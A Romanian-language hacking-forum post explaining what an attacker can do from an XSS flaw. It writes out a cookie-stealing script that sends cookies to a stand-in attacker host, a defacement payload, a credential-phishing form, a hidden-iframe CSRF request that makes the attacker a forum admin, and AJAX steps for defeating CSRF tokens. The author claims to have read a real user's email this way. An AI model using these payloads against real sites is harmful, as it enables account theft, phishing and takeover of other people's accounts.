din pacate mi-a picat vineri websecurity.ro unde aveam un proof of concept care arata cum sa citesti mailul unei persoane pornind doar de la un XSS. desi ei nu salveaza permanent cookies si salveaza doar cookie, de sesiune se poate face asta. incerc sa explic cat mai pe larg. Pornind de la un XSS cam ce poti face ? 1. poti sa introduci cod de genul: <script>document.location='http://hacker.site.com/grabber.php?c='+document.cookie</script> Cod care fura un cookie al persoanei logate. Bineinteles exista metode de ascundere a acestui request (iframe, frameset), pe care nu le voi explica acum. 2. poti sa faci deface xss la site: <script>document.write('<h1>You have been hacked by RST</h1>')</script> Care, in functie de tipul XSS-ului permanent (daca postezi codul si ramane in pagina) sau temporar (daca dai cuiva linkul si acesta il click-uieste) are efecte mai mult sau mai putin spectaculoase. -variatiune pe aceasta idee: ca tehnica de phishing scrii in site, in loc de 'hacked by ...' formular de logare care sa semene cat mai mult cu formularul site-ului. deci sa para cat mai adevarat. dar in loc de a face POST/GET catre login-ul lor, face POST/GET catre http://hacker.site.com/grabber.php?user=[userul introdus]&pass=[parola introdusa] 3. saptamana trecuta mi-am dat seama ca pot sa ma joc chiar mai mult. si am incercat sa introduc ajax. da, ajax. pot sa introduc ajax si astfel sa fac request-uri in numele userului care a accesat link-ul cu XSS in el. ce poate face acest ajax ? -pai cum spuneam mai sus. poate citi informatii de pe o pagina, repet, in numele userului logat, si poate returna aceste informatii pe site-ul hackerului. eu facusem sa citeasca primul mail al persoanei logate pe home.ro (cativa membrii rst au vazut exploit-ul in actiune) -poate extinde tehnica de phishing delogand userul inainte de a-i cere sa se relogheze in site. -poate trece de protectii CSRF. Probabil ca multi nu stiu cum se face protectie CSRF. Sa spun cum se exploateaza CSRF-ul inainte. avem un forum. si la acest forum daca un admin creaza un nou admin pentru site, intr-un final ajunge la un link de genul: http://forum.com/addadmin.php?user=rstuser In acest script php se verifica daca exista userul "rstuser" si dupa aceea i se atribuie permisiuni de administrator. Cum se poate expoata acest bug ? (ca este un bug ) Eu sunt user pe acel forum si pacalesc adminul sa intre pe link-ul http://forum.com/addadmin.php?user=moubik in acel moment eu am fost adaugat ca administrator. precizez, acest request poate fi ascuns intr-un site in genul: <iframe src="http://forum.com/addadmin.php?user=moubik" height="0" width="0" border="0" frameborder="0"></iframe> Cum se protejeaza oamenii de CSRF ? o tehnica este sa se creeze un id unic ce va fi trimis o data cu requestul de adaugare administrator. exemplu <form action="addadmin.php" method="GET"> <input type="text" name="user"> <input type="hidden" name="sid" value="aici se pune sessioid"> </form> formularul se genereaza automat la fiecare afisare de pagina si la value se pune $_COOKIE['PHPSESSID'] astfel atunci cand adminul chiar vrea sa adauge pe cineva ca administrator, link-ul va fi in genul: http://forum.com/addadmin.php?user=rstuser&sid=1234567890 mai departe, inainte de a se face adaugarea user-ului ca administrator se face o verificare in php de genul: if ($_GET['sid'] != $_COOKIE['PHPSESSID']) { echo "You are a hacker, please leave!"; } else { // se adauga user-ul ca administrator } cum poate tehnica aceasta sa treaca de modul de protejare CSRF tocmai prezentat ? pai cum ziceam, pot sa extrag informatii in numele user-ului pe care il atac. pasii scriptului sunt in genul: 1. iau o pagina care stiu ca o sa contina sessionid (daca va uitati pe forumurile phpbb o sa vedeti ca aproape orice pagina contine aceasta informatie) 2. extrag variabila ce ma intereseaza pe mine 3. creez linkul, care de data aceasta va fi valid. repet linkul acum valid, si care trece de protectia csrf arata asa: http://forum.com/addadmin.php?user=moubik&sid=1234567890 dar acum user-ul trimis va fi al hacker-ului. 4. tot cu ajax pot sa fac request-ul. si astfel dintr-un singur foc, se poate face toata aceasta chestie. trebuie sa programezi pentru fiecare pagina cod propriu, pentru ca trebuie extrase informatiile, parsate, si creat link-ul final ce va fi executat. bineinteles in javascript -ce mai poate face aceasta tehnica ? pai (ideea este a lui x.o) keylogger in ajax (bineinteles numai in acea pagina) -am incercat, dar deocamdata nu am reusit sa gasesc un site vulnerabil la acest lucru. sa va spun la ce m-am mai gandit. browserele fac autocomplete. request-ul ajax poate face delogarea userului, si dupa aceea sa scrie in pagina form-ularul de login. cu unele browsere cu anumite optiuni fac acest lucru, ajax-ul ar putea sa extraga informatia din form-urile de login, chiar fara sa dea submit/login user-ul nu sariti pe mine, daca tehnica aceasta au mai folosit-o 1milion de oameni inaintea mea. eu am descoperit-o si am analizat-o singur. cum vi se pare ?